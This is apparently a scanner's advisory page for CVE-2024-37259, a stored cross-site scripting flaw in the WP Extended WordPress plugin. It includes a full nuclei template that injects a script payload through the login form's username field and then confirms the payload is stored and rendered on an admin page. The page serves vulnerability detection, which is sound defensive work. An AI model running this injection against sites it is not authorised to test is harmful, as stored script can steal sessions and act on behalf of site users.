WP Extended < 3.0.0 - Stored Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

The Ultimate WordPress Toolkit - WP Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.4.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Impact

Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions true behalf of users.

Fix

Update to WP Extended 3.0.0 or later.

How to confirm it

Send: GET /wp-content/plugins/wpextended/readme.txt
Positive when: compare_versions(version, '<= 2.4.7') and contains(body, 'The Ultimate WordPress Toolkit - WP Extended')
Send: POST /wp-login.php
Positive when: status_code == 200 and contains(body, "wp-login")
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/admin.php?page=wp-extended_login_attempt
Positive when: status_code == 200 and contains_all(body, "{{raw_payload}}", "wp-extended_login_attempt")

Run it with nuclei: nuclei -id CVE-2024-37259 -u <target>

The full check

id: CVE-2024-37259

info:
  name: WP Extended < 3.0.0 - Stored Cross-Site Scripting
  author: 0xanis
  severity: medium
  description: |
    The Ultimate WordPress Toolkit - WP Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.4.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions true behalf of users.
  remediation: |
    Update  to WP Extended 3.0.0 or later.
  reference:
    - https://wpscan.com/vulnerability/2d90ca7d-e957-4ac6-b1f1-2d631bffa2e8/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpextended/the-ultimate-wordpress-toolkit-wp-extended-247-unauthenticated-stored-cross-site-scripting
    - https://plugins.trac.wordpress.org/changeset/3099195/wpextended
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37259
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-37259
    epss-score: 0.00624
    epss-percentile: 0.50289
    cwe-id: CWE-79
  metadata:
    verified: true
    vendor: wpextended
    product: wp-extended
    framework: wordpress
  tags: cve,cve2024,wordpress,wp-scan,wp-plugin,wpextended,xss,vkev

flow: http(1) || http(2) && http(3) && http(4)

variables:
  raw_payload: "{{randstr}}<script>alert(document.domain)</script>"

http:
  - raw:
      - |
        GET /wp-content/plugins/wpextended/readme.txt HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 2.4.7')"
          - "contains(body, 'The Ultimate WordPress Toolkit - WP Extended')"
        condition: and

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{url_encode(payload)}}&pwd=wrongpassword&wp-submit=Log+In&redirect_to=&testcookie=1

    attack: batteringram
    payloads:
      payload:
        - "{{raw_payload}}"
        - "{{raw_payload}}"
        - "{{raw_payload}}"
        - "{{raw_payload}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "wp-login")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wp-extended_login_attempt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "{{raw_payload}}", "wp-extended_login_attempt")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from